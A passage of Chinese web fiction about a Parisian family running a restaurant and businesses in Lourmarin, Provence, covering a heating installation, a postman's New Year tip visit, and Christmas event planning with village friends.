卢卡斯表面上风平浪静,但心里暗想: 以前让特奥多烧点木柴都不舍得,现在居然舍得烧电了? “我给你去拿,我记得特奥把它放到地下室了。”丽贝卡去给卢卡斯拿东西,离开了客厅。 等待丽贝卡拿东西的这段时间里,卢卡斯还发现安娜的玩具变多了。 地上、沙发上、厨房里全部是娃娃的衣服和四肢。 “是这个吧?”丽贝卡很快把电暖器搬出来,“我给你擦擦,上面全是土。” 卢卡斯用闲聊的语气问: “特奥这份工作赚的不少?” 他没细问过特奥是去做什么了,只听说是一个政府部门的兼职。 丽贝卡点头说: “每个月有3000多法郎,不过听说到下个月就干完了。” 卢卡斯没有说什么。 丽贝卡是全职家庭主妇,即使每个月多了3000多法郎,也不应该变化这么大吧? 不多时,特奥回来了。 他两个手里拿的全是吃的东西,一进来就扯着嗓子大声嚷嚷,似乎想让几百米外的罗南听到: “丽贝卡!我买了安娜想吃的羊腿和羊肚,快点吃完咱们今晚继续编——” 特奥看到了在客厅里坐着的卢卡斯,眼睛猛眨了两下,改口道: “继续编故事,安娜最喜欢听我们编织的故事了,你怎么来了卢卡斯?” 卢卡斯觉得特奥怪怪的,但又说不上来是哪里怪: “我来取电暖器。” 特奥转头去厨房,热情的说: “晚上留下一起吃饭吧?我买了羊腿和羊肚,咱们喝两杯。” 卢卡斯摇头: “不吃了,家里还有两口人和一条狗等着我吃饭呢。” 特奥的声音从厨房里传出来: “打电话把他们叫来,带着玛格丽特一起,我买的多,再来三个人也够吃。” 卢卡斯眯起眼睛看厨房的方向。 刚回卢尔马兰时,他觉得村民们的状态让他感觉到陌生。 现在他突然觉得,自己的弟弟特奥也陌生起来了。 先不提特奥家突然好起来的经济情况,以前他们兄弟俩对话,特奥永远是乖乖听着的那一方,大气都不敢喘一下。 现在特奥变得‘大胆’了。 这并不是贬义词,而是褒义。 卢卡斯是觉得特奥变得自信了,不再活在自己的阴影下。 卢卡斯的妻子和儿子还在家里,他拒绝了特奥的好意,拿着电暖器离开。 走的时候,特奥又搬了一组电暖器到卢卡斯的车上,说他买多了,用不上。 这情况还是第一次发生。 特奥这个弟弟也有可以‘照顾’哥哥的时候了。 回家的路上,卢卡斯开的非常慢。 他想要仔细看看这个他生活了几十年的家乡——卢尔马兰。 似乎一个不注意,就会失去这里一段记忆的似的。 开着开着,卢卡斯远远的看到一所民宅的房顶上站了一个人。 他猜那人不是在给屋顶做加固处理,就是在做防水。 “又是一家在修房子的。”卢卡斯开的更慢了,想要看的仔细。 不过这户家庭让他倍感意外。 站在房顶上的人居然是亨利 卢尔马兰的‘贫困户’也有钱修房顶了?? 卢卡斯把车停到路边,想要和亨利聊两句。 问问他怎么也赚到钱了? 亨利看到卢卡斯了,但他装作没看到,继续干手里的事情。 而卢卡斯也发现亨利看到他了. 这个发现,比看到特奥家有一地娃娃还震惊。 亨利这个一有机会就跟在他身后的‘哈巴狗’故意无视了他? 这到底还是是不是卢尔马兰啊! 骄傲的卢卡斯一脚油门踩下去,消失在道路的尽头。 房顶上的亨利冷哼一声: “还以为我是以前的亨利?多少次我热脸贴的都是你的冷屁股,必须让你也感受一下!” 疾驰而去的卢卡斯有一肚子的疑惑,又有一肚子的气。 只是离开半年,卢尔马兰怎么就变成这个样子了? 快到家的时候,他又在路上看到一个人。 卢卡斯这次本打算疾驰而去不予理会,没想到那个人主动和他打招呼了。 戴着毛线帽的皮雷走到卢卡斯的车旁: “去哪儿了?” 卢卡斯指自己的后备箱: “去特奥家拿电暖器。” “我记得特奥家挨着罗南家对不对?”皮雷像是在向垃圾桶倾倒垃圾一样,滔滔不绝的对卢卡斯说,“罗南那个家伙太过分了,他居然把阿克尼娜逼去编花环了!上帝,阿克尼娜是多么热爱绣被啊,她从8岁就开始接触这门手艺.” 这是皮雷一天要说几十次的话,只要在路上见到一个人,他就要说一遍自己的‘悲惨遭遇’。 十五分钟后。 卢卡斯拿出一根烟叼在嘴上: “你的意思是说,罗南把卢尔马兰的妇女组织起来去编花环了,导致没有人给你做绣被。” “没错!”皮雷气愤的拍了一下车门,“他居然把阿克尼娜逼走去编花环了!上帝,阿克尼娜是多么热爱绣被啊,她从8岁——” 卢卡斯打断了复读机: “一个花环多少钱?” 皮雷嘟嘟囔囔的说: “好像是50法郎。” 卢卡斯对着没人的地方吐了一口烟: “多久做一个?” 皮雷哼唧了半天: “两三天吧。” 卢卡斯点头: “全卢尔马兰都知道,你的话只能信最多十分之一,所以是两三个小时做一个。” 他指着自己的太阳穴对皮雷说: “只要这里没问题,谁还会做绣被?” 皮雷大声喊道: “我不管!现在只有我一个人在做绣被,其他人都不理我了,你说我该怎么办?他们抱团取暖了,只把我孤立了起来!” 卢卡斯用开玩笑的语气说: “也许被孤立的不只是你一个人呢?” 说完,他缓慢的把车开走了。 车子的后方,皮雷‘泼妇’一般的嗓音渐行渐远: “罗南搬来之后,卢尔马兰就变了,就变了!这已经不是我熟悉的那个卢尔马兰了!!” 卢卡斯把烟头扔了出去,关上车窗隔绝那道噪音。 原来卢尔马兰一切改变的根源都是罗南。 他帮农夫们找到了工作,又教了妇女们可以赚钱的本事。 所有被他帮助过的人,生活都发生了巨大的改变。 不不不,那不能用简单的改变来形容. 卢卡斯突然想到了2个月前罗南餐厅开业那天,皮埃尔和他说的话: “罗南会接连不断的创造出新的‘奇迹’,卢卡斯,欢迎你回到卢尔马兰.一个全新的卢尔马兰!” 那不是改变,而是一个又一个的奇迹。 罗南通过帮助身边人,把发生在他身上的奇迹转移到了卢尔马兰人民的身上。 这其中有他的弟弟特奥,也有‘困难户’亨利。 罗南也曾想帮过他可卢卡斯错过了。 但卢卡斯可能是全卢尔马兰最需要要‘奇迹’的那个人啊。 天知道他的身上扛了多大的压力。 “后天,后天就可以全部竣工,调试设备了!” 西蒙先生在‘开工仪式’后就消失了。 他第二次出现在罗南家是通知他们要竣工。 “没有什么仪式了吧?”冯珍礼貌的问。 “锅炉烧起来就是最大的仪式!”西蒙做了一个加油的动作,“后天见朋友们,让我们一起见证那神圣的一刻。” “谢天谢地,没有什么奇怪的仪式。”冯珍想起那次离谱的‘开工仪式’就撇嘴。 “谢天谢地,这个混乱的坏境终于要结束了。”罗南做了一个祈祷的动作。 西蒙走后,巴黎一家人准备吃点东西去餐厅开门,但两只狗突然在门口转悠起来,似乎很想出去。 “我遛完你们了啊。”罗南对它们喊。 马赛对罗南叫了几声,像是在跟他对话一样。 3级【打猎】给了罗南一个读懂动物情绪的能力。 罗南不知道马赛具体说的是什么意思,但情绪很着急。 他觉得情况不对,打开大门,看看外面是不是有什么情况发生。 结果看到距离门口十几米的柏油马路上,站着一狗一人。 “遛狗?”罗南笑着问。 卢卡斯指了指天: “天气不错,一起吗?” “好。”罗南从门口拿了一件外套,把急的要死的马赛推进去,又把一脸淡定的小黑踹出来,之后笑着对卢卡斯说,“走吧。” 第269章 温暖的冬天 到了12月,吕贝隆的气温低了不少。 白天的平均气温在6-12度,夜间气温在0-6度之间。 罗南家葡萄园连接的那片密林里依然有打猎的人出没,但他们不会来的那么早了,懂得享受的普罗旺斯人并不喜欢在寒风中野餐。 没有了热闹的人群,清晨清爽的空气变得更为怡人,也可以更好的欣赏吕贝隆空旷宁静的风景。 “你家房子位置挺不错的。”卢卡斯看着远处美丽的吕贝隆山谷问罗南,“特意买的村庄外围的房子?” 有葡萄园、有大院子、距离森林近,四周的风景也很不错,罗南家住的环境真的挺棒的。 罗南把注意力从小黑和玛格丽特身上转移走,摇着头说: “没有,我当时买的着急,并没有特别详细的了解房子的四周情况。” 卢卡斯疑惑的问: “买的很着急?你着急搬来普罗旺斯生活?” “不全是,除了想早点搬过来,也担心房子被别人抢了。”罗南笑着回忆起当时的情形,“这个房子当时挂的价格并不高,前主人着急出手。” 卢卡斯感慨道: “你赶上了好时候,如果是今年,估计遇不到这么好的事情。” 卢卡斯每个月要支付高昂的人工培育松露运营资金,马赛的尖船卖了,不开的车也卖了好几辆。 他同时也去了解了卢尔马兰的房价,虽然卖房子是几乎不可能的事情但就怕有个万一啊。 这一问他才知道,原来卢尔马兰的房价今年涨成这样了。 他那个前几年新建的大房子,现在居然可以卖到50多万法郎。 罗南后怕似的点了点头: “是的,如果卢尔马兰现在又出了一所便宜房子,消息根本没机会传到巴黎恐怕刚到梅纳村就被人抢了,只能说我比较幸运,遇到了一个比较好的时机。” 你岂止这一件事幸运,你幸运的地方太多了卢卡斯在心里苦涩的想。 “那天去卡庞特拉卖的怎么样?”卢卡斯用闲聊的语气问,并没有什么情绪。 罗南给卢卡斯复述了一遍他在卡庞特拉的经历: 特级松露送去了巴黎、认识了一位传奇松露经纪人,还开阔了眼界和见识。 卢卡斯听的更后悔了,如果他跟着一起去就好了。 那可是和传奇松露经纪人打交道的机会! 万一运气好,是不是还能认识了一个可以和他合作人工松露生意的大经纪人了? “松露生意充满了陷阱,同时也充满了未知的可能”他轻声感慨道,“这就是黑黄金的魅力。” “确实。”罗南用憧憬的语气说,“普罗旺斯的松露市场非常大,前景也非常光明,爱吃的法国人永远不会放弃这种食材,听说现在海外的市场需求量也很大了。” 罗南的话让卢卡斯觉得他的选择是没有错的,即使再难,也该咬牙坚持。 卢卡斯半是玩笑,半是给自己打气道: “希望未来,我的名字前面也可以加上‘传奇’这个单词。” “传奇的人工培育松露先驱?”罗南开玩笑的问。 卢卡斯思索了几秒,突然爽朗的大笑道: “听起来挺不错的。” 罗南跟着卢卡斯笑了一会,问他: “你那片林子怎么样了?” 和罗南聊过松露生意的未来后,卢卡斯的心情好多了,语气还算轻松的说: “一切正常,上个月做了一次菌丝采样,数据比较理想,如果明年春天的成活率能保持在40%-50%这个区间,产菌量会相当不错。” 人工培育松露的的整体流程非常复杂,简单一点解释,就是把在实验室里培育好的菌丝接种到宿主树根上。 在实验室里,菌丝的成活率会保持在70-90%这个范围内,但栽种到土壤里、和根系共生、成长.等等每一步都会使菌丝‘死掉’一部分。 最终产菌量能保持在10%就是相当不错的数据了。 上个月成活率不错不代表几个月后成活率依然不错每一天都会有大量菌丝因为未知或者已知的原因死掉。 虽然对卢卡斯的人工培育松露生意充满了担忧,但罗南还是给足了情绪价值: “那就好,一切顺利就好。” 卢卡斯一会还要带玛格丽特进山,眼见着就要走回到罗南家,他鼓足了勇气对罗南说出此行的目的: “如果有——” 另一边的罗南也在琢磨卢卡斯的人工培育松露生意的事,几乎和卢卡斯同时开口了: “我知道——” 两个人相视一笑。 卢卡斯点了根烟,用下巴指罗南: “你先说。” 罗南看着前方说: “我知道你有压力,如果想到了好的办法,或者找到能帮到你的办法,我马上去找你。” 罗南以为骄傲的卢卡斯一定会习惯性的说‘我压力不大’、‘别担心’、‘我有办法’等话,因为他们每次聊人工培育松露的话题,卢卡斯都是这副样子。 没想到卢卡斯的性格突然变了: “谢谢了伙计。” 谢谢你还愿意帮助我.也谢谢你没让我的头低下去。 谢谢你罗南,你让我看到了‘奇迹’的可能性。 “客气什么。”罗南侧头问他,“你刚才想说什么?” 卢卡斯猛吸了一口烟,看着葡萄园里互相追逐的玛格丽特和小黑说: “没什么,就是想说玛格丽特好像真的很喜欢你的狗。” 罗南以担心玛格丽特渴了为由,把它带回家喝了一点水。 趁着卢卡斯没注意,罗南悄悄给玛格丽特做了一次‘松露测试’,结果让罗南大为震惊。 玛格丽特对松露气味的反应确实敏感,但绝不在顶级敏感的范畴。 罗南摸着玛格丽特柔顺的皮毛喃喃自语: “不是顶级的松露犬都这么厉害了.最厉害的松露犬得多么恐怖啊?” 经过五周多的时间,罗南家的燃油暖器终于到了竣工的日子。 说来也是好笑。 虽然和工人每天都会打照面,但巴黎一家人时至今日都不知道任何一个工人的全名。 因为这些人在干活的时候是以‘职务’相称的。 每天早上,这些人相见时是这样的: “早啊水管工。” “你也早啊,电工。” 干活的时候,他们是这样的: “泥瓦匠去哪儿了?他把墙上的洞开的那么大,是想让我把脑袋塞进去吗?” “电工,快来帮我拉一根线!” 而他们的‘老板’西蒙先生,更是把这种奇怪的风气发扬到了极致。 他称呼这些工人的时候,习惯庄重而又复杂的把他们的姓和职务连在一起。 “马丁·拉皮埃尔水管工,请把水路再最后检查一次,勒克莱尔·杜布瓦瓷砖工和克莱因·波瑟电工,跟我去锅炉房。” 在一旁默默听着的冯珍都不敢大声说话了: “咱们家像是来了一群中世纪贵族。” 冗长的名字是贵族的‘标志’。 罗南叹气: “这老头太能搞事情了。” 每次和西蒙打交道都是一场折磨,无论是安暖器还是买马桶。 但今天受折磨的远不止罗南一家人,来送油的工人也被西蒙狠狠折磨了。 卢尔马兰是一个小山村,没有卖油的地方。 罗南家燃油供暖所需的油,需要由专业的油罐车来定期添加,按照罗南家房子的面积,一个冬天加3-4次的样子。 但这位从阿普特远道而来的油罐车司机并没有得到什么好的待遇。 “小心一点!”西蒙指着送油的工人说,“你知道吗,一点小小的杂质就能塞住燃烧器,阻碍电极,后果不是你能承担的,我劝你在灌油前最好再过滤一遍。” 西蒙说话时给人的感觉,像是那位送油工也是他‘贵族’团队的一份子。 但谁能忍受被一个陌生人教训呢? 送油工人用力拨开西蒙指过来的手指,大声说道: “我的油经过两重过滤,绝不可能出问题,你以为我是那种小作坊吗?” 西蒙用怀疑的目光打量那尚未塞入油桶的油嘴,似乎是看到了什么‘肮脏’的东西: “那谁知道呢?” 见此情景,送油工赌气的拿过一块肮脏的油布,夸张的在桶上擦拭着,好像西蒙的眼光玷污了他心爱的伙伴一样。 在工人擦油桶和灌油的进行过程中,西蒙又照惯例发表了一场‘演讲’。 除了讲解燃烧器和锅炉的内部结构与功能外,他还不停用眼睛向巴黎一家提示——油不好也会影响机器的运转,万一一会出了什么问题,你们可不能只揪着我不放啊。 十几分钟后,开油罐的司机骂骂咧咧的离开了罗南的家。 “走!我们去锅炉房!”西蒙像是即将上战场的士兵一样,进入了罗南家一楼的设备间。 这间一楼的闲置屋子,已经成为暖气系统的神经中枢。 锅炉、燃烧炉和水箱依次排列,它们由铜质总开关和不同色彩的管道连接,若干大小粗细不一的管子像手臂一样从锅炉中探出,延伸到天花板上消失不见。 各类水阀、标度盘、开关或明或暗地点缀在房间粗糙的石墙上,看上去十分复杂。 西蒙又花了十几分钟向巴黎一家人示范这些仪器是如何令人难以置信的简单。 他不停转动开关和水阀,摆弄着仪表,罗南看到母亲的眼神又开始呆滞了。 “我想这确实很简单,咱们可以点燃试一试了。”罗南叫停了西蒙的演讲。 西蒙点头称是,用教训油罐工人一样的语气对某一名可怜的贵族说: “马丁·拉皮埃尔水管工,去把它点燃!不过你给我当心一点,操作不当,机器也会运转不灵,不要让我们的顾客等待太久!” 罗南无语的扶了一下额头。 这老头可真是一肚子心眼啊。 打开开关后,锅炉像是一头猛兽一样苏醒了过来,发出愈发巨大的‘咯吱咯吱’轰鸣。 “火再烧旺点,再烧旺点!”西蒙大声的说,见巴黎一家人在讨论是不是该去脱衣服的话题后,他才满意对工人说,“对对对,就是这样,这才是真正的燃烧!” 他语气激动的不像是启动锅炉,更像是启动了世界有史以来的第一架飞机: “用不了10分钟,每个房间的暖气片都会烧的烫手,跟我来!” 在西蒙的带领下,巴黎一家人开始巡视自己的屋子。 他坚持让罗南三口人触碰屋子里的每一组暖器片,之后骄傲的说: “完美!这太完美不过了,真是一次成功的施工!” 巴黎一家人你看看我,我看看你,似乎在用眼神说: 这老头人是差劲了些,但活儿干的挺不错啊? 这个温度,在家里可以穿短袖和短裤了。 “我们非常满意,这真是一次完美的施工。”罗南称赞道,“可以把它关上了,现在室外有十几度呢西蒙先生。” “哦,不不不,那可不行。”西蒙拿下了他的围巾,又把羽绒服的拉链拉开,“要让它开足24小时,这样我们才能检验它是不是完全没有问题,明天这个时间,我们会来检查的。” “什么?”巴黎三口人瞪大了眼睛。 西蒙拍着自己的胸脯说: “我们很专业的!” 在送西蒙和他热的不停流汗的一群贵族离开时,巴黎一家人听到了第二个噩号。 “千万不要把它关小,一定要保持每个阀门都是最大,好了,那我们就离开了。” 西蒙几个人小跑出去。 在门外,这个小老头又给了大家第三重打击。 他问屋子里的几个人: “下周餐厅二三楼施工的时候,我找谁?” “他!”罗南和罗天海互指对方。 西蒙手下的贵族有限,无法支持同时安装三个暖器。 11月到12月,他们把罗南和佐伊家的暖器装完了,罗南的餐厅要在这之后安装,不过那里很空旷,施工起来会很快。 西蒙点了下头,并礼貌的关上门: “明白了,你们两个一起,再见了先生女士们,好好享受普罗旺斯温暖的冬天吧。” 伴着满屋炙热的铁管和烤熟了的灰尘垃圾,罗天海和罗南吵个不停。 “你去和这个怪老头对接吧。” “那是你的餐厅,应该你负责。” “餐厅是你运营的,应该你去。” “那楼上有可能是你的婚房,当然要你去看着。” “我和佐伊聊过了,我们决定结婚后住这里。” “什么时候决定的?” “就是现在!!” 第270章 ‘精美\’的礼物 某一个周一早上。 罗南正在温暖的厨房里惬意的喝咖啡,享用着丰盛的早餐,突然听到窗外发出一声爆响,像是两辆正在高速行驶的汽车对撞上了。 他马上抬起屁股看窗外,发现是邮差特雷西的自行车和信箱相撞到了一起。 这情况太让人匪夷所思了。 难道特雷西在玩乡野飙车吗? 见特雷西拍了拍屁股从地上站起来,并无大碍,罗南放心的坐下,但十几秒后,家里的大门被敲响了。 “你好啊罗南。”特雷西站在门外笑着打招呼。 罗南心中有一刹那的迟疑。 邮差撞到邮箱应该能报工伤吧. 他来找我要医药费了? “你好特雷西。”罗南指着信箱说,“我看到你撞了一下,人没事吧?” 特雷西晃动着手里的《普罗旺斯》日报和‘卡朋克气象站’印刷的私人天气预报,咧着嘴说: “没事,早上有露水,打滑了。” 罗南家订报纸好几个月了,特雷西每次都是放到信箱里。 今天怎么送上门了? 难道有事情要说? 罗南尝试着侧身,特雷西果然进到了屋子里,并一屁股坐到沙发上。 在普罗旺斯,不管几点,招待客人都要用酒。 罗南倒了一杯粉红酒到特雷西的面前,而特雷西居然还喝了。 “粉红酒啊,哦对对对,你爱喝粉红酒。”特雷西笑着自言自语。 自从特雷西出现在门口,他脸上的笑容就不曾间断,罗南开始猜测他是不是摔到了脑子。 一杯粉红酒而已啊,你对着它笑什么? 今天过生日? 中彩票了? 老婆给你的零花钱涨了? 罗南怀揣着焦急的心情等待特雷西给他解开谜题。 但特雷西却不慌不忙的讲述起他和妻子上周去阿维尼翁旅游时看到的好玩趣事。 说着说着,一杯粉红酒见了底,当罗南给他倒第二杯时,特雷西才讲出了此行的目的。 “嘿伙计,看看我给你带来了什么!”特雷西从他的帆布包里拿出一本日历。 他哗哗哗的翻弄起来,直至看到一张女孩穿着比基尼在沙滩摆出高难度姿势那一页,才停下: “邮局出的新日历,这上面有明年所有的节日,这张美女照片不错吧?” 罗南赶紧合上它,同时思考特雷西为什么要送他这么‘精美’的礼物。 他们在今天之前说过的话不会超过20句。 “这是免费的。”特雷西拿起酒杯喝了一口,之后突然对罗南眨了一下眼睛,“但如果你愿意花钱买也可以。” 直至特雷西的眼皮扇出了风来,罗南才终于后知后觉的弄清了他的来意——他是来要‘新年小费’的。 每年年底,法国人习惯向服务人员赠送小额现金或礼品,感谢其一年的服务。 特雷西可能是觉得直接要有些不好意思,所以赠送了一本日历。 罗南赶紧拿了50法郎给特雷西,并亲自把他送到自行车旁边: “辛苦了特雷西,这一年辛苦你了。” 特雷西有些摇晃的骑上车子,扬长而去,不过他嘴角的笑容更大了。 罗南摸了摸磕掉一块漆皮的信箱,知道这是酒驾之后的事故。 特雷西在罗南家喝的绝不是今天的第一杯酒,也绝对不是最后一杯,未来半个月,吕贝隆乡村将会持续有一个喝醉了酒的邮差出没。 特雷西笑了,罗南却要‘哭’了。 新年小费还有一个名字叫圣诞红包,每当你开始给服务人员小费就说明圣诞节要到了。 但餐厅的圣诞节活动还没有策划啊。 “缺人,太缺人了。”罗南冷的抖了一下,赶紧跑回屋子,现在早上温度很低。 回到家,他发现母亲冯珍正在仔细的翻看那本日历。 “以后买完这种东西记得藏起来,别让佐伊看见。”冯珍放下日历,转头去厨房吃早餐。 罗南:“???” 编织工艺这个生意罗南可以做到完全放手。 有专业的巴蒂和有威望的阿克尼娜盯着,任何大小事情都不用费心。 但餐厅这,罗南身边没有一个能帮忙的人。 罗天海可以管后厨,但把营销和宣传交给他就不合适了。 前一阵子罗南又是去参加特色松露集市,又是组织妇女们做东西开始着手准备圣诞节活动时距离圣诞节只有不到10天了。 他白天去山里采松露,同时思考活动的方向。 晚上回来安排服务员买饰品、看她们布置,同时要思考还能设计什么好玩的东西吸引来更多的人。 人忙的像是陀螺一样,转个不停,什么事都需要亲力亲为。 有可能给罗南提供帮助的是佐伊,但她现在正在紧张的准备‘大地艺术’活动的作品,即使她来罗南也肯定不会同意。 某一天晚上。 罗南给服务员们布置完明天白天要干的事情后,一回头看到维埃里居然在收银台里坐着,而冯珍不见了踪影。 “我妈妈呢?”罗南问维埃里。 维埃里一边低头写写画画一边说: “在厨房里,我妈妈在测试圣诞限定甜品,她想去尝尝。” 罗南继续疑惑的问: “你怎么还不回家?现在都快8点了。” 维埃里来餐厅帮了半个月的忙,一天没落下,但工作日他6点多就会回家。 今天没作业吗? 维埃里头都不抬的说: “我放圣诞假期了,从今天一直放到1月5号。” 法国学生的假期较多,也很分散,不同地区的学生根据气候不同,放假的日子也完全不一样。 以吕贝隆山区为例,休息时间比较长的几个假期有暑假(2个月,7月初开始)、圣诞假期(15天左右)、冬假(2周,躲避2月最冷的一段日子)和春假(2周,包含复活节)。 除此之外就是一些公共假期和宗教节日了,例如劳动节、二战胜利日和耶稣升天节等。 不等罗南回复,维埃里放下笔,举起计算器摁了一个数字: “今天的营业额是这个数啊。” 罗南笑着问: “伊莎贝尔把你轰到收银台了?” 维埃里刚来的那几天,罗南会给他安排事情做。 之后一忙起来,都快忘了他这个人了。 维埃里也没偷懒,哪里缺人去哪里,除了后厨什么都干。 在这个过程中,他渐渐找到了一点兴趣——那就是让更多的人进餐厅。 那之后他经常在商业街和餐厅门口出现,还干了一部分迎宾的活。 但是不知道为什么,维埃里和本职干迎宾的伊莎贝尔性格不合,总是拌嘴。 罗南猜维埃里坐到这里,就是被伊莎贝尔气的。 维埃里做了一个‘天塌了’的表情: “她比佐伊更加让人无法忍受。” 罗南突然灵光一闪: “那你就别去和伊莎贝尔抢活儿干了,我给你安排个别的活怎么样?” “什么活?”维埃里期待的问。 罗南笑着挑了下眉毛: “跟我一起策划圣诞节活动。” 第271章 离家的朋友 “策划圣诞活动?”维埃里先是一阵兴奋,随后有些担心的说,“像万圣节活动那样吗?可我想不出那么好玩的事情.我们过圣诞节就是家人在一起吃饭,没有其他活动了。” 在巴黎生活时,圣诞节会从12月初一直过到下一年年初,足有一个多月之久。 街上的每一间店铺都在挖空心思从居民的口袋里‘骗’钱,大家专心致志的营造花钱氛围,全城上下开心过节、大吃大喝,最后以破产告终。 在吕贝隆生活的人过得才是正常的圣诞节,节日气氛只会维持三五天,之后回归平静的日子。 正因如此,罗南才会把圣诞计划一拖再拖,如果不是来要小费的邮差,他都不会意识到圣诞节已经临近。 罗南安慰维埃里: “这并不影响你策划圣诞活动,而且和你想要吸引来更多顾客的想法也不冲突。” 他指了指后厨,又指了一下服务员: “我爸爸和莉亚通过菜品和甜品吸引顾客,服务员通过把餐厅装点的好看吸引顾客,我们通过设计好玩的活动吸引顾客.目的是一致的。” “比如推出低于原价的圣诞主题特色套餐?”维埃里小心翼翼的问。 罗南点头: “没错。” “又比如和商业街上的其他店铺合作,来餐厅吃饭赠送小礼物?”维埃里继续问。 罗南平摊双手: “瞧瞧,你随便一想就是好几个点子,怎么能说不会呢?我们甚至可以和政府合作,希尔维也要给卢尔马兰设计圣诞主题活动,明天你跟我一起去和她聊聊,这些资源说不定都可以利用上。” 罗南打算明天休息一天,不进山采松露了,把手头几个要紧的事情办了去。 维埃里迫不及待的说: “好啊,我和你一起去。” 和罗南一起‘工作’太酷了,还可以和政府合作! 爸爸都没有和政府合作过!! 维埃里是来‘顶班’的。 冯珍从后厨回来他就离开了收银台,找了个没人坐的空位置坐下,研究起罗南给他留的‘功课’。 伊莎贝尔从他身边经过,冷嘲热讽的说: “都多大了还咬笔,果然是小孩子一个。” 维埃里换了个姿势继续咬笔,没有心思和伊莎贝尔斗嘴。 策划圣诞活动是一个非常重要的任务,维埃里不想辜负罗南的信任。 他一定要交上一份满意的答卷。 过了几分钟,伊莎贝尔又路过这张桌子,见维埃里面前的白纸上写满了类似数学题一样的推导方程,停下来好奇的看了两眼,随即嘲讽道: “你写这些有用?做题能拉来更多的客人?” 维埃里终于抬头了,反驳道: “这是我的思维逻辑推导过程,什么做题啊” 伊莎贝尔撇嘴: “有区别吗?这能有用?” 维埃里赌气的说: “你会策划圣诞节活动?如果你能设计,罗南就不会找我帮忙了,我承认你在揽客方面比我厉害,但在这一块你没什么资格教育我吧?” 伊莎贝尔是罗南和罗天海‘钦点’的迎宾员,小姑娘既机灵,脑子也活络,尤其是一张小嘴特别会说。 但维埃里以前在集市上干的也是‘揽客’的活儿,只是后来被伊莎贝尔顶替了。 两个人都是十几岁谁都不服谁的年纪,于是他和伊莎贝尔较上了劲,比着看谁更能‘揽’。 截止到今日的战绩是维埃里赢少输多。 维埃里脑子聪明,但他没有社会经验,脸皮也薄。 伊莎贝尔没有维埃里的聪明头脑,但她能说会道,而且已经工作几年了,经验丰富。 伊莎贝尔摇着脑袋说: “我确实不懂策划啊,但我知道你从第一步就想错了。” 她指着白纸上方的某一个句子说: “圣诞节是一个家庭团聚的节日,你借鉴万圣节的‘猎奇’并不合适,反正如果是我,我会希望那天能过得安静且舒服。” 维埃里低头想了一会,把那一行单词划掉,小声嘟囔: “行行行,你厉害” 见维埃里服了软,伊莎贝尔心情愉悦的离开: “想顶我的位置你还差的得远着呢。” 维埃里犹豫了一下,起身追了上去,跟在伊莎贝尔身后问: “那你觉得是孩子的感受重要,还是大人的感受重要?他们喜欢什么样的氛围?如果把点心十三品换成中式甜品他们会觉得突兀吗.” “哎呀,你的问题太多了,自己想去,别影响我工作!” 第二天。 罗南带维埃里去卢尔马兰政府找希尔维了解政府的圣诞节计划,同时去政府送‘建筑许可证’所需的材料。 开发税布兰科帮助他省下了,但‘建筑许可证’无法忽视必须办理,因为这是全国统一的政策。 卢尔马兰的政府官员告诉罗南,他们会加速办理,元旦节过后应该就可以施工了。 从政府回来,罗南居然在餐厅里看到了一个许久没见的朋友——国家森林管理局的布鲁诺。 见布鲁诺只有一个人,罗南坐到了他的对面: “最近怎么样啊,伙计?” 他们可是好久没见面了。 听说这位官员来过餐厅好几次,但罗南去山里采松露全部错过了。 布鲁诺苦闷的摇头: “不好,非常不好,我圣诞节真的没办法回巴黎了,要在普罗旺斯过。” 虽然钱包会受苦,但巴黎人习惯了热闹的圣诞节氛围,在异地过圣诞节和中国人无法回家过春节的情况差不多。 “没有假期吗?”罗南听农夫们说,矮木丛清扫计划进行的还算顺利,到明年1月中就可以结束了。 晚几天结束应该问题不大吧? 布鲁诺摘掉帽子,拍着光秃秃的脑袋说: “你给我介绍的那批人非常靠谱,效率提高了许多,但不是每一个区域都像小吕贝隆这里这么顺利,上面又把鲁西永附近的森林划给我了,而且给了期限,时间太紧张,我恐怕要一直忙到明年3月才能回巴黎。” 罗南安慰道: “这说明上面很器重你不是吗?说不定你回去就升职了呢。” 布鲁诺敲着桌子说: “可我想回巴黎啊,我要回家!我的妻子和孩子都在等着我!” 罗南给他想办法: “你的妻子和孩子可以来普罗旺斯找你过节吗?” 节日无法和家人团聚确实不是个好消息。 布鲁诺用力搓了两下脸,情绪更低落了: “我妻子是老佛爷百货的售货员,你知道的,圣诞节就是他们每年一度的战役她如果在那段时间请假,恐怕会丢了工作。” 罗南叹气: “万恶的资本家.” 布鲁诺叹气: “万恶的纵火犯!” 罗南陪布鲁诺喝了两杯,主动邀请他圣诞节来这里过,人多应该可以缓解他的部分思乡情绪。 过了一会,金发披肩、穿着时尚大衣的佐伊出现在餐厅。 随着新年临近,佐伊来餐厅的频率变低了。 她把重心放到了准备‘大地艺术’活动的作品上,暂时放弃了社交活动。 艺术家们时隔多日终于见到佐伊,纷纷向她发去邀请,请她帮忙看一看自己最近的艺术成果。 但佐伊歉意的和大家说: “抱歉,我今天是来找罗南的,我们要出去了。” 罗南见佐伊来了,去到维埃里身边,敲了敲他的桌子: “真的不和我们去博尼约吃国王饼吗?那可是米其林餐厅。” 罗南今天要去办的另一件事是去雅克先生的餐厅吃饭,他已经邀请罗南好几次了。 维埃里坚定的摇头: “不去了,我把刚刚和希尔维聊的内容整理了一下,下午我好好想想我们可以如何利用上。” 说完,他抬起头四处打量起来: “伊莎贝尔在门口吗?” 罗南点头: “是在,她在门口。” 维埃里和罗南一起向着大门的方向走,佐伊以为维埃里要和他们一起去博尼约,没想到维埃里径直推门出去了。 “他怎么出去了?”佐伊问罗南。 罗南拉起佐伊的手,笑着说: “可能交到新朋友了吧。” 罗南来雅克先生的餐厅四五次了,知道了一条爬起来相对平缓的路,不需要再走陡峭的‘百步梯’。 在这段相对较为好爬的路上,他们遇到了两波同行的人,通过听他们交流得知,原来大家的目的地是同一个。 “居然都是去吃饭的。”罗南小声对佐伊说。 这可是寒冷的12月,居然还有那么多人愿意爬山去吃饭? 佐伊也压低了声音: “在吃的东西面前,普罗旺斯人都变得坚强了。” 罗南笑着问她: “也包括你吗?” 佐伊没好气的说: “我只是好奇那个特殊的国王饼。” 在雅克的口中,他餐厅里只售卖一个多月的限定国王饼非常具有特色,搞得佐伊有点好奇了。 其实罗南也是奔着国王饼来的,他并不爱吃甜品,但这却是他从小就爱吃的食物。 两个人走的并不快,12点半才抵达那个熟悉的餐厅门口。 但看到这里的情形,罗南和佐伊都被震住了。 现在已经过了普罗旺斯人吃午饭的高峰时间,但餐厅门口居然坐了五六个等位置的人。 要知道,罗南的餐厅进入11月后就再也没有等位的情况发生过了。 